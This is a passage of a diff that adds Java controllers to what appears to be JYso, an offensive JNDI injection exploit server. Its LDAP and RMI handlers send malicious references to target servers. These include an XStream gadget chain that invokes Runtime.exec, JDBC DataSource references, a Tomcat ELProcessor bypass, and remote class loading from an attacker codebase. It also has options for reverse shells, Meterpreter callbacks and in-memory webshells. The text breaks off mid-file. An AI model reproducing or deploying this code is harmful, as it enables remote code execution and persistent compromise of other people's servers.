String localJarFile = base.substring(base.lastIndexOf("=") + 1);
|
||||||
|
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Local jar path >> |@" + localJarFile));
|
||||||
|
localJarPath = localJarFile;
|
||||||
|
break;
|
||||||
|
case upload:
|
||||||
|
int thirdIndex = base.indexOf("/", secondIndex + 1);
|
||||||
|
if (thirdIndex < 0) thirdIndex = base.length();
|
||||||
|
|
||||||
|
PayloadType payloadType;
|
||||||
|
try {
|
||||||
|
payloadType = PayloadType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase());
|
||||||
|
// webspherebypass 只支持这 4 种类型的 PayloadType
|
||||||
|
if (payloadType != PayloadType.command && payloadType != PayloadType.dnslog
|
||||||
|
&& payloadType != PayloadType.reverseshell && payloadType != PayloadType.webspherememshell) {
|
||||||
|
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + payloadType);
|
||||||
|
}
|
||||||
|
} catch (IllegalArgumentException e) {
|
||||||
|
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex));
|
||||||
|
}
|
||||||
|
|
||||||
|
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA PayloadType >> |@" + payloadType));
|
||||||
|
switch (payloadType) {
|
||||||
|
case command:
|
||||||
|
String cmd = Util.getCmdFromBase(base);
|
||||||
|
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Command >> |@" + cmd));
|
||||||
|
injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/upload.wsdl?type=command&cmd=" + cmd;
|
||||||
|
break;
|
||||||
|
case dnslog:
|
||||||
|
String url = base.substring(base.lastIndexOf("/") + 1);
|
||||||
|
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA URL >> |@" + url));
|
||||||
|
injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/upload.wsdl?type=dnslog&url=" + url;
|
||||||
|
break;
|
||||||
|
case reverseshell:
|
||||||
|
String[] results = Util.getIPAndPortFromBase(base);
|
||||||
|
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA IP >> |@" + results[0]));
|
||||||
|
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Port >> |@" + results[1]));
|
||||||
|
injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/upload.wsdl?type=reverseshell&ip=" + results[0] + "&port=" + results[1];
|
||||||
|
break;
|
||||||
|
case webspherememshell:
|
||||||
|
injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/upload.wsdl?type=webspherememshell";
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
} catch (Exception e) {
|
||||||
|
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
|
||||||
|
if (e instanceof UnSupportedActionTypeException) throw (UnSupportedActionTypeException) e;
|
||||||
|
|
||||||
|
throw new IncorrectParamsException("Incorrect params: " + base);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,99 @@
|
|||||||
|
package com.qi4l.JYso.controllers;
|
||||||
|
|
||||||
|
import com.qi4l.JYso.enumtypes.PayloadType;
|
||||||
|
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
||||||
|
import com.qi4l.JYso.exceptions.UnSupportedActionTypeException;
|
||||||
|
import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
|
||||||
|
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Util;
|
||||||
|
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
||||||
|
import com.unboundid.ldap.sdk.Entry;
|
||||||
|
import com.unboundid.ldap.sdk.LDAPResult;
|
||||||
|
import com.unboundid.ldap.sdk.ResultCode;
|
||||||
|
import org.apache.naming.ResourceRef;
|
||||||
|
import org.fusesource.jansi.Ansi;
|
||||||
|
|
||||||
|
import javax.naming.StringRefAddr;
|
||||||
|
|
||||||
|
@LdapMapping(uri = {"/xstream"})
|
||||||
|
public class XStreamController implements LdapController{
|
||||||
|
private PayloadType type;
|
||||||
|
private String[] params;
|
||||||
|
@Override
|
||||||
|
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
|
||||||
|
Entry e = new Entry(base);
|
||||||
|
e.addAttribute("javaClassName", "java.lang.String"); //could be any
|
||||||
|
ResourceRef ref = new ResourceRef("com.thoughtworks.xstream.XStream", null, "", "",
|
||||||
|
true, "org.apache.naming.factory.BeanFactory", null);
|
||||||
|
String xml = "<java.util.PriorityQueue serialization='custom'>\n" +
|
||||||
|
" <unserializable-parents/>\n" +
|
||||||
|
" <java.util.PriorityQueue>\n" +
|
||||||
|
" <default>\n" +
|
||||||
|
" <size>2</size>\n" +
|
||||||
|
" </default>\n" +
|
||||||
|
" <int>3</int>\n" +
|
||||||
|
" <dynamic-proxy>\n" +
|
||||||
|
" <interface>java.lang.Comparable</interface>\n" +
|
||||||
|
" <handler class='sun.tracing.NullProvider'>\n" +
|
||||||
|
" <active>true</active>\n" +
|
||||||
|
" <providerType>java.lang.Comparable</providerType>\n" +
|
||||||
|
" <probes>\n" +
|
||||||
|
" <entry>\n" +
|
||||||
|
" <method>\n" +
|
||||||
|
" <class>java.lang.Comparable</class>\n" +
|
||||||
|
" <name>compareTo</name>\n" +
|
||||||
|
" <parameter-types>\n" +
|
||||||
|
" <class>java.lang.Object</class>\n" +
|
||||||
|
" </parameter-types>\n" +
|
||||||
|
" </method>\n" +
|
||||||
|
" <sun.tracing.dtrace.DTraceProbe>\n" +
|
||||||
|
" <proxy class='java.lang.Runtime'/>\n" +
|
||||||
|
" <implementing__method>\n" +
|
||||||
|
" <class>java.lang.Runtime</class>\n" +
|
||||||
|
" <name>exec</name>\n" +
|
||||||
|
" <parameter-types>\n" +
|
||||||
|
" <class>java.lang.String</class>\n" +
|
||||||
|
" </parameter-types>\n" +
|
||||||
|
" </implementing__method>\n" +
|
||||||
|
" </sun.tracing.dtrace.DTraceProbe>\n" +
|
||||||
|
" </entry>\n" +
|
||||||
|
" </probes>\n" +
|
||||||
|
" </handler>\n" +
|
||||||
|
" </dynamic-proxy>\n" +
|
||||||
|
" <string>"+ params[0] +"</string>\n" +
|
||||||
|
" </java.util.PriorityQueue>\n" +
|
||||||
|
"</java.util.PriorityQueue>";
|
||||||
|
ref.add(new StringRefAddr("forceString", "a=fromXML"));
|
||||||
|
ref.add(new StringRefAddr("a", xml));
|
||||||
|
e.addAttribute("javaSerializedData", Util.serialize(ref));
|
||||||
|
result.sendSearchEntry(e);
|
||||||
|
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException {
|
||||||
|
System.out.println("- JNDI LDAP Local Refenrence Links + XStream");
|
||||||
|
try {
|
||||||
|
int firstIndex = base.indexOf("/");
|
||||||
|
int secondIndex = base.indexOf("/", firstIndex + 1);
|
||||||
|
if (secondIndex < 0) secondIndex = base.length();
|
||||||
|
|
||||||
|
String payloadType = base.substring(firstIndex + 1, secondIndex);
|
||||||
|
System.out.println(Ansi.ansi().fgBrightMagenta().a(" Paylaod: " + payloadType).reset());
|
||||||
|
if (payloadType.equalsIgnoreCase("command")) {
|
||||||
|
type = PayloadType.valueOf("command");
|
||||||
|
//System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Paylaod >> |@" + type));
|
||||||
|
} else {
|
||||||
|
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType >> " + payloadType);
|
||||||
|
}
|
||||||
|
|
||||||
|
String cmd = Util.getCmdFromBase(base);
|
||||||
|
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
|
||||||
|
params = new String[]{cmd};
|
||||||
|
} catch (Exception e) {
|
||||||
|
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
|
||||||
|
|
||||||
|
throw new IncorrectParamsException("Incorrect params >> " + base);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,93 @@
|
|||||||
|
package com.qi4l.JYso.controllers;
|
||||||
|
|
||||||
|
import com.qi4l.JYso.enumtypes.GadgetType;
|
||||||
|
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
||||||
|
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Util;
|
||||||
|
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
||||||
|
import com.unboundid.ldap.sdk.Entry;
|
||||||
|
import com.unboundid.ldap.sdk.LDAPResult;
|
||||||
|
import com.unboundid.ldap.sdk.ResultCode;
|
||||||
|
import org.fusesource.jansi.Ansi;
|
||||||
|
|
||||||
|
import static org.fusesource.jansi.Ansi.ansi;
|
||||||
|
|
||||||
|
@LdapMapping(uri = {"/jdbc1"})
|
||||||
|
public class jdbcController1 implements LdapController {
|
||||||
|
|
||||||
|
private String payloadType;
|
||||||
|
|
||||||
|
private String factoryType;
|
||||||
|
private String[] params;
|
||||||
|
private GadgetType gadgetType;
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
|
||||||
|
try {
|
||||||
|
Entry e = new Entry(base);
|
||||||
|
String driver = payloadType;
|
||||||
|
String JDBC_URL = params[0];
|
||||||
|
|
||||||
|
e.addAttribute("objectClass","javaNamingReference");
|
||||||
|
e.addAttribute("javaClassName", "javax.sql.DataSource");
|
||||||
|
e.addAttribute("javaFactory",factoryType);
|
||||||
|
e.addAttribute("javaReferenceAddress", "/0/url/"+JDBC_URL,"/1/driverClassName/" + driver,"/2/username/Squirt1e","/3/password/Squirt1e","/4/initialSize/1");
|
||||||
|
|
||||||
|
result.sendSearchEntry(e);
|
||||||
|
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
|
||||||
|
} catch (Throwable er) {
|
||||||
|
System.err.println("Error while generating or serializing payload");
|
||||||
|
er.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
|
||||||
|
System.out.println("- JNDI JDBC Refenrence Links Target < JDK20");
|
||||||
|
try {
|
||||||
|
base = base.replace('\\', '/');
|
||||||
|
int fistIndex = base.indexOf("/");
|
||||||
|
int secondIndex = base.indexOf("/", fistIndex + 1);
|
||||||
|
if (secondIndex < 0) secondIndex = base.length();
|
||||||
|
|
||||||
|
try {
|
||||||
|
payloadType = base.substring(fistIndex + 1, secondIndex);
|
||||||
|
System.out.println(Ansi.ansi().fgBrightMagenta().a(" driver: " + payloadType).reset());
|
||||||
|
} catch (IllegalArgumentException e) {
|
||||||
|
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
|
||||||
|
}
|
||||||
|
|
||||||
|
int thirdIndex = base.indexOf("/", secondIndex + 1);
|
||||||
|
if (thirdIndex < 0) thirdIndex = base.length();
|
||||||
|
|
||||||
|
try {
|
||||||
|
factoryType = base.substring(secondIndex + 1, thirdIndex);
|
||||||
|
System.out.println(Ansi.ansi().fgBrightBlue().a(" Factory: " + factoryType).reset());
|
||||||
|
} catch (IllegalArgumentException e) {
|
||||||
|
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
|
||||||
|
}
|
||||||
|
|
||||||
|
int fourthIndex = base.indexOf("/", thirdIndex + 1);
|
||||||
|
|
||||||
|
if (fourthIndex != -1) {
|
||||||
|
if (fourthIndex < 0) fourthIndex = base.length();
|
||||||
|
try {
|
||||||
|
gadgetType = GadgetType.valueOf(base.substring(thirdIndex + 1, fourthIndex).toLowerCase());
|
||||||
|
} catch (IllegalArgumentException e) {
|
||||||
|
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(thirdIndex + 1, fourthIndex));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (gadgetType == GadgetType.base64) {
|
||||||
|
String cmd = Util.getCmdFromBase(base);
|
||||||
|
System.out.println(Ansi.ansi().fgBrightRed().a(" JDBC_URL: " + cmd).reset());
|
||||||
|
params = new String[]{cmd};
|
||||||
|
}
|
||||||
|
|
||||||
|
} catch (Exception e) {
|
||||||
|
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
|
||||||
|
|
||||||
|
throw new IncorrectParamsException("Incorrect params: " + base);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,113 @@
|
|||||||
|
package com.qi4l.JYso.controllers;
|
||||||
|
|
||||||
|
import com.qi4l.JYso.enumtypes.GadgetType;
|
||||||
|
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
||||||
|
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.InjShell;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Util;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler;
|
||||||
|
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
||||||
|
import com.unboundid.ldap.sdk.Entry;
|
||||||
|
import com.unboundid.ldap.sdk.LDAPResult;
|
||||||
|
import com.unboundid.ldap.sdk.ResultCode;
|
||||||
|
import org.fusesource.jansi.Ansi;
|
||||||
|
|
||||||
|
import javax.naming.RefAddr;
|
||||||
|
import javax.naming.Reference;
|
||||||
|
import javax.naming.StringRefAddr;
|
||||||
|
import java.util.Enumeration;
|
||||||
|
|
||||||
|
import static org.fusesource.jansi.Ansi.ansi;
|
||||||
|
|
||||||
|
@LdapMapping(uri = {"/jdbc2"})
|
||||||
|
public class jdbcController2 implements LdapController {
|
||||||
|
|
||||||
|
private String payloadType;
|
||||||
|
private String factoryType;
|
||||||
|
private String[] params;
|
||||||
|
private GadgetType gadgetType;
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
|
||||||
|
try {
|
||||||
|
Entry e = new Entry(base);
|
||||||
|
String driver = payloadType;
|
||||||
|
String JDBC_URL = params[0];
|
||||||
|
|
||||||
|
Reference ref = new Reference("javax.sql.DataSource", factoryType, null);
|
||||||
|
ref.add(new StringRefAddr("driverClassName", driver));
|
||||||
|
ref.add(new StringRefAddr("url", JDBC_URL));
|
||||||
|
ref.add(new StringRefAddr("initialSize", "1"));
|
||||||
|
|
||||||
|
e.addAttribute("objectClass", "javaNamingReference");
|
||||||
|
e.addAttribute("javaClassName", ref.getClassName());
|
||||||
|
e.addAttribute("javaFactory", ref.getFactoryClassName());
|
||||||
|
|
||||||
|
Enumeration<RefAddr> enumeration = ref.getAll();
|
||||||
|
int posn = 0;
|
||||||
|
|
||||||
|
while (enumeration.hasMoreElements()) {
|
||||||
|
StringRefAddr addr = (StringRefAddr) enumeration.nextElement();
|
||||||
|
e.addAttribute("javaReferenceAddress", "#" + posn + "#" + addr.getType() + "#" + addr.getContent());
|
||||||
|
posn ++;
|
||||||
|
}
|
||||||
|
|
||||||
|
result.sendSearchEntry(e);
|
||||||
|
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
|
||||||
|
} catch (Throwable er) {
|
||||||
|
System.err.println("Error while generating or serializing payload");
|
||||||
|
er.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
|
||||||
|
System.out.println("- JNDI JDBC Refenrence Links Target < JDK20");
|
||||||
|
try {
|
||||||
|
base = base.replace('\\', '/');
|
||||||
|
int fistIndex = base.indexOf("/");
|
||||||
|
int secondIndex = base.indexOf("/", fistIndex + 1);
|
||||||
|
if (secondIndex < 0) secondIndex = base.length();
|
||||||
|
|
||||||
|
try {
|
||||||
|
payloadType = base.substring(fistIndex + 1, secondIndex);
|
||||||
|
System.out.println(Ansi.ansi().fgBrightMagenta().a(" driver: " + payloadType).reset());
|
||||||
|
} catch (IllegalArgumentException e) {
|
||||||
|
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
|
||||||
|
}
|
||||||
|
|
||||||
|
int thirdIndex = base.indexOf("/", secondIndex + 1);
|
||||||
|
if (thirdIndex < 0) thirdIndex = base.length();
|
||||||
|
|
||||||
|
try {
|
||||||
|
factoryType = base.substring(secondIndex + 1, thirdIndex);
|
||||||
|
System.out.println(Ansi.ansi().fgBrightBlue().a(" Factory: " + factoryType).reset());
|
||||||
|
} catch (IllegalArgumentException e) {
|
||||||
|
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
|
||||||
|
}
|
||||||
|
|
||||||
|
int fourthIndex = base.indexOf("/", thirdIndex + 1);
|
||||||
|
|
||||||
|
if (fourthIndex != -1) {
|
||||||
|
if (fourthIndex < 0) fourthIndex = base.length();
|
||||||
|
try {
|
||||||
|
gadgetType = GadgetType.valueOf(base.substring(thirdIndex + 1, fourthIndex).toLowerCase());
|
||||||
|
} catch (IllegalArgumentException e) {
|
||||||
|
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(thirdIndex + 1, fourthIndex));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (gadgetType == GadgetType.base64) {
|
||||||
|
String cmd = Util.getCmdFromBase(base);
|
||||||
|
System.out.println(Ansi.ansi().fgBrightRed().a(" JDBC_URL: " + cmd).reset());
|
||||||
|
params = new String[]{cmd};
|
||||||
|
}
|
||||||
|
|
||||||
|
} catch (Exception e) {
|
||||||
|
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
|
||||||
|
|
||||||
|
throw new IncorrectParamsException("Incorrect params: " + base);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,47 @@
|
|||||||
|
package com.qi4l.JYso.controllers;
|
||||||
|
|
||||||
|
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
||||||
|
import com.qi4l.JYso.exceptions.UnSupportedActionTypeException;
|
||||||
|
import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
|
||||||
|
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
||||||
|
import com.qi4l.JYso.gadgets.Config.Config;
|
||||||
|
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
||||||
|
import com.unboundid.ldap.sdk.Entry;
|
||||||
|
import com.unboundid.ldap.sdk.LDAPResult;
|
||||||
|
import com.unboundid.ldap.sdk.ResultCode;
|
||||||
|
import org.fusesource.jansi.Ansi;
|
||||||
|
|
||||||
|
import java.util.Random;
|
||||||
|
|
||||||
|
@LdapMapping(uri = {"/ldap2rmi"})
|
||||||
|
public class ldap2rmiController implements LdapController {
|
||||||
|
|
||||||
|
private final String ip = Config.ip;
|
||||||
|
private final String rmiPort = String.valueOf(Config.rmiPort);
|
||||||
|
private String path;
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
|
||||||
|
System.out.println("- Change LDAP to RMI ");
|
||||||
|
|
||||||
|
|
||||||
|
Entry e = new Entry(base);
|
||||||
|
e.addAttribute("javaClassName", "foo");
|
||||||
|
e.addAttribute("javaRemoteLocation", "rmi://" + ip + ":" + rmiPort + path);
|
||||||
|
|
||||||
|
System.out.println(Ansi.ansi().fgBrightMagenta().a(" redirecting to: " + "rmi://" + ip + ":" + rmiPort + path).reset());
|
||||||
|
|
||||||
|
result.sendSearchEntry(e);
|
||||||
|
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException {
|
||||||
|
base = base.replace('\\', '/');
|
||||||
|
int index = base.indexOf('/');
|
||||||
|
if (index != -1) {
|
||||||
|
String result = base.substring(index);
|
||||||
|
path = result;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,109 @@
|
|||||||
|
package com.qi4l.JYso.controllers.rmi;
|
||||||
|
|
||||||
|
import com.qi4l.JYso.enumtypes.GadgetType;
|
||||||
|
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
||||||
|
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
||||||
|
import com.qi4l.JYso.gadgets.Config.Config;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.InjShell;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Util;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler;
|
||||||
|
import com.qi4l.JYso.template.CommandTemplate;
|
||||||
|
import com.qi4l.JYso.template.echoStatic.Meterpreter;
|
||||||
|
import org.fusesource.jansi.Ansi;
|
||||||
|
|
||||||
|
import javax.naming.Reference;
|
||||||
|
import java.net.URL;
|
||||||
|
import java.util.Base64;
|
||||||
|
|
||||||
|
public class Basic {
|
||||||
|
static String payloadType;
|
||||||
|
//最后的反斜杠不能少
|
||||||
|
static String codebase = Config.codeBase;
|
||||||
|
static String[] params;
|
||||||
|
static GadgetType gadgetType;
|
||||||
|
|
||||||
|
public static Reference basic(String base) throws Exception {
|
||||||
|
System.out.println("- RMI Remote Refenrence Links ");
|
||||||
|
try {
|
||||||
|
base = base.replace('\\', '/');
|
||||||
|
int fistIndex = base.indexOf("/");
|
||||||
|
int secondIndex = base.indexOf("/", fistIndex + 1);
|
||||||
|
if (secondIndex < 0) secondIndex = base.length();
|
||||||
|
|
||||||
|
try {
|
||||||
|
payloadType = base.substring(fistIndex + 1, secondIndex);
|
||||||
|
System.out.println(Ansi.ansi().fgBrightMagenta().a(" Paylaod: " + payloadType).reset());
|
||||||
|
} catch (IllegalArgumentException e) {
|
||||||
|
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
|
||||||
|
}
|
||||||
|
|
||||||
|
int thirdIndex = base.indexOf("/", secondIndex + 1);
|
||||||
|
if (thirdIndex != -1) {
|
||||||
|
if (thirdIndex < 0) thirdIndex = base.length();
|
||||||
|
try {
|
||||||
|
gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase());
|
||||||
|
} catch (IllegalArgumentException e) {
|
||||||
|
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(secondIndex + 1, thirdIndex));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (gadgetType == GadgetType.base64) {
|
||||||
|
String cmd = Util.getCmdFromBase(base);
|
||||||
|
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
|
||||||
|
params = new String[]{cmd};
|
||||||
|
}
|
||||||
|
|
||||||
|
if (gadgetType == GadgetType.shell) {
|
||||||
|
String cmd1 = Util.getCmdFromBase(base);
|
||||||
|
byte[] decodedBytes = Base64.getDecoder().decode(cmd1);
|
||||||
|
String cmd = new String(decodedBytes);
|
||||||
|
String[] cmdArray = cmd.split(" ");
|
||||||
|
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
|
||||||
|
params = cmdArray;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (gadgetType == GadgetType.msf) {
|
||||||
|
String[] results1 = Util.getIPAndPortFromBase(base);
|
||||||
|
Config.rhost = results1[0];
|
||||||
|
Config.rport = results1[1];
|
||||||
|
System.out.println("[+] RemotHost: " + results1[0]);
|
||||||
|
System.out.println("[+] RemotPort: " + results1[1]);
|
||||||
|
params = results1;
|
||||||
|
}
|
||||||
|
} catch (Exception e) {
|
||||||
|
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
|
||||||
|
|
||||||
|
throw new IncorrectParamsException("Incorrect params >> " + base);
|
||||||
|
}
|
||||||
|
String className = "";
|
||||||
|
|
||||||
|
if (payloadType.contains("E-")) {
|
||||||
|
String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1);
|
||||||
|
final Class EchoClass = Class.forName(ClassNameHandler.searchClassByName(ClassName1));
|
||||||
|
className = EchoClass.getName();
|
||||||
|
}
|
||||||
|
|
||||||
|
if (payloadType.contains("M-")) {
|
||||||
|
String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1);
|
||||||
|
InjShell.init(params);
|
||||||
|
className = Gadgets.createClassB(ClassName1);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (payloadType.contains("command")) {
|
||||||
|
CommandTemplate commandTemplate = new CommandTemplate(params[0]);
|
||||||
|
commandTemplate.cache();
|
||||||
|
className = commandTemplate.getClassName();
|
||||||
|
}
|
||||||
|
|
||||||
|
if (payloadType.contains("msf")) {
|
||||||
|
className = Meterpreter.class.getName();
|
||||||
|
}
|
||||||
|
|
||||||
|
String className1 = className.replaceAll("\\.", "/");
|
||||||
|
|
||||||
|
URL turl = new URL(new URL(codebase), className1 + ".class");
|
||||||
|
Reference ref = new Reference("Foo", className1, turl.toString());
|
||||||
|
return ref;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,144 @@
|
|||||||
|
package com.qi4l.JYso.controllers.rmi;
|
||||||
|
|
||||||
|
import com.qi4l.JYso.enumtypes.GadgetType;
|
||||||
|
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
||||||
|
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
||||||
|
import com.qi4l.JYso.gadgets.Config.Config;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.InjShell;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Util;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler;
|
||||||
|
import org.apache.naming.ResourceRef;
|
||||||
|
import org.fusesource.jansi.Ansi;
|
||||||
|
|
||||||
|
import javax.naming.StringRefAddr;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
|
||||||
|
public class ELProcessor {
|
||||||
|
static String payloadType;
|
||||||
|
static String[] params;
|
||||||
|
static GadgetType gadgetType = null;
|
||||||
|
|
||||||
|
public static ResourceRef refTomcatBypass(String base) throws Exception {
|
||||||
|
// 切割参数
|
||||||
|
System.out.println("- JNDI RMI Local Refenrence Links ");
|
||||||
|
try {
|
||||||
|
base = base.replace('\\', '/');
|
||||||
|
int fistIndex = base.indexOf("/");
|
||||||
|
int secondIndex = base.indexOf("/", fistIndex + 1);
|
||||||
|
if (secondIndex < 0) secondIndex = base.length();
|
||||||
|
|
||||||
|
try {
|
||||||
|
payloadType = base.substring(fistIndex + 1, secondIndex);
|
||||||
|
System.out.println(Ansi.ansi().fgBrightMagenta().a(" PaylaodType: " + payloadType).reset());
|
||||||
|
} catch (IllegalArgumentException e) {
|
||||||
|
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
|
||||||
|
}
|
||||||
|
|
||||||
|
int thirdIndex = base.indexOf("/", secondIndex + 1);
|
||||||
|
|
||||||
|
if (thirdIndex != -1) {
|
||||||
|
if (thirdIndex < 0) thirdIndex = base.length();
|
||||||
|
try {
|
||||||
|
gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase());
|
||||||
|
} catch (IllegalArgumentException e) {
|
||||||
|
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(secondIndex + 1, thirdIndex));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (gadgetType == GadgetType.base64) {
|
||||||
|
String cmd = Util.getCmdFromBase(base);
|
||||||
|
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
|
||||||
|
params = new String[]{cmd};
|
||||||
|
}
|
||||||
|
|
||||||
|
if (gadgetType == GadgetType.shell) {
|
||||||
|
String cmd1 = Util.getCmdFromBase(base);
|
||||||
|
byte[] decodedBytes = Util.base64Decode(cmd1);
|
||||||
|
String cmd = new String(decodedBytes);
|
||||||
|
String[] cmdArray = cmd.split(" ");
|
||||||
|
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
|
||||||
|
params = cmdArray;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (gadgetType == GadgetType.msf) {
|
||||||
|
String[] results1 = Util.getIPAndPortFromBase(base);
|
||||||
|
Config.rhost = results1[0];
|
||||||
|
Config.rport = results1[1];
|
||||||
|
System.out.println("[+] RemotHost: " + results1[0]);
|
||||||
|
System.out.println("[+] RemotPort: " + results1[1]);
|
||||||
|
params = results1;
|
||||||
|
}
|
||||||
|
} catch (Exception e) {
|
||||||
|
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
|
||||||
|
|
||||||
|
throw new IncorrectParamsException("Incorrect params: " + base);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 构造ref对象
|
||||||
|
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
|
||||||
|
ref.add(new StringRefAddr("forceString", "x=eval"));
|
||||||
|
String code = null;
|
||||||
|
|
||||||
|
